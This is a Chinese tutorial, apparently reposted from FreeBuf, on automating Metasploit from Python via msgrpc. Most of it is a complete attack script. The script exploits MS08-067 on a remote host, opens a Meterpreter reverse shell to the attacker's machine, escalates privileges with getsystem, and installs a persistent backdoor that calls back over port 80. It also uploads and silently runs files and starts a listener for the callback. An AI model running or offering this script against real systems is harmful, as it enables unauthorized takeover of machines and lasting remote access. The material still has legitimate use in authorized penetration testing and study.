教你用Python玩转神器Metasploit

pymsf是著名安全研究团队Spiderlabs实现的一个Python与Metasploit msgrpc进行通信的python模块，通过它，你可以利用Python玩转渗透测试框架Metasploit。

使用步骤

首先你需要先启动msgrpc服务，命令如下:

load msgrpc Pass=<password>

与msgrpc进行通信其实就是与msfconsole进行通信，首先你需要创建一个msfrpc的类,登录到msgrpc服务器并且创建一个虚拟

的终端,然后你就可以在你创建的虚拟终端上面执行多个命令的字符串.你可以调用模块的方法与console.write执行命令,并且通

过"console.read"从虚拟终端上面读取输入的值.

这里有一个函数它创建了一个msfrpc实例,登录到msgrpc服务器,并且创建了一个虚拟终端.

def sploiter(RHOST, LHOST, LPORT, session):     client = msfrpc.Msfrpc({})     client.login('msf', '123')     ress = client.call('console.create')     console_id = ress['id']

下一步就是实现把多个字符串发给虚拟终端,通过console.write和console.read在虚拟终端显示与读取:

## Exploit MS08-067 ## commands = """use exploit/windows/smb/ms08_067_netapi set PAYLOAD windows/meterpreter/reverse_tcp set RHOST """+RHOST+""" set LHOST """+LHOST+""" set LPORT """+LPORT+""" set ExitOnSession false exploit -z """ print "[+] Exploiting MS08-067 on: "+RHOST client.call('console.write',[console_id,commands]) res = client.call('console.read',[console_id]) result = res['data'].split('/n')

下面我们将通过"getsystem"命令把这个文件的提权,建立一个后门打开80端口来转发.并且永久的运行.最后上传我们的漏洞exp并且在命令模式下面悄悄的安装:

# 这个函数会创建一个MSF .rc文件 def builder(RHOST, LHOST, LPORT):  post = open('/tmp/smbpost.rc', 'w')  bat = open('/tmp/ms08067_install.bat', 'w')  postcomms = """getsystem run persistence -S -U -X -i 10 -p 80 -r """+LHOST+""" cd c:// upload /tmp/ms08067_patch.exe c:// upload /tmp/ms08067_install.bat c:// execute -f ms08067_install.bat """  batcomm = "ms08067_patch.exe /quiet"  post.write(postcomms); bat.write(batcomm)  post.close(); bat.close() 

通过上面的那段代码,将会创建一个.rc的文件.通过msf模块“post/multi/gather/run_console_rc_file”在当前的meterpreter会话中运行生成的文件,并且通过console.write命令从虚拟终端写入数据,通过console.read命令来回显返回内容:

## 运行生成的exp ## runPost = """use post/multi/gather/run_console_rc_file set RESOURCE /tmp/smbpost.rc set SESSION """+session+""" exploit """  print "[+] Running post-exploit script on: "+RHOST  client.call('console.write',[console_id,runPost])  rres = client.call('console.read',[console_id]) ## Setup Listener for presistent connection back over port 80 ##  sleep(10)  listen = """use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LPORT 80 set LHOST """+LHOST+""" exploit """ print "[+] Setting up listener on: "+LHOST+":80" client.call('console.write',[console_id,listen]) lres = client.call('console.read',[console_id]) print lres 

大家只要知道基础然后对下面的代码进行一定的修改就可以编程一个属于你自己的
msf自动化攻击脚本,我们建议通过博客里面发表的一些简单的例子出发,然后自己写一个msf攻击脚本:

import os, msfrpc, optparse, sys, subprocess from time import sleep # Function to create the MSF .rc files def builder(RHOST, LHOST, LPORT):  post = open('/tmp/smbpost.rc', 'w')  bat = open('/tmp/ms08067_install.bat', 'w')  postcomms = """getsystem run persistence -S -U -X -i 10 -p 80 -r """+LHOST+""" cd c:// upload /tmp/ms08067_patch.exe c:// upload /tmp/ms08067_install.bat c:// execute -f ms08067_install.bat """  batcomm = "ms08067_patch.exe /quiet"  post.write(postcomms); bat.write(batcomm)  post.close(); bat.close() # Exploits the chain of rc files to exploit MS08-067, setup persistence, and patch def sploiter(RHOST, LHOST, LPORT, session):  client = msfrpc.Msfrpc({})     client.login('msf', '123')     ress = client.call('console.create')     console_id = ress['id'] ## Exploit MS08-067 ##  commands = """use exploit/windows/smb/ms08_067_netapi set PAYLOAD windows/meterpreter/reverse_tcp set RHOST """+RHOST+""" set LHOST """+LHOST+""" set LPORT """+LPORT+""" set ExitOnSession false exploit -z """  print "[+] Exploiting MS08-067 on: "+RHOST  client.call('console.write',[console_id,commands])  res = client.call('console.read',[console_id])  result = res['data'].split('/n') ## Run Post-exploit script ##  runPost = """use post/multi/gather/run_console_rc_file set RESOURCE /tmp/smbpost.rc set SESSION """+session+""" exploit """  print "[+] Running post-exploit script on: "+RHOST  client.call('console.write',[console_id,runPost])  rres = client.call('console.read',[console_id]) ## Setup Listener for presistent connection back over port 80 ##  sleep(10)  listen = """use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LPORT 80 set LHOST """+LHOST+""" exploit """  print "[+] Setting up listener on: "+LHOST+":80"  client.call('console.write',[console_id,listen])  lres = client.call('console.read',[console_id])  print lres def main():     parser = optparse.OptionParser(sys.argv[0] +/     ' -p LPORT -r RHOST -l LHOST')     parser.add_option('-p', dest='LPORT', type='string', /     help ='specify a port to listen on')     parser.add_option('-r', dest='RHOST', type='string', /     help='Specify a remote host')     parser.add_option('-l', dest='LHOST', type='string', /     help='Specify a local host')  parser.add_option('-s', dest='session', type='string', /     help ='specify session ID')  (options, args) = parser.parse_args()  session=options.session  RHOST=options.RHOST; LHOST=options.LHOST; LPORT=options.LPORT  if (RHOST == None) and (LPORT == None) and (LHOST == None):     print parser.usage     sys.exit(0)  builder(RHOST, LHOST, LPORT)  sploiter(RHOST, LHOST, LPORT, session) if __name__ == "__main__":   main() 

[作者/zusheng， 原文地址 ，转载请注明来自FreeBuf黑客与极客（FreeBuf.COM）]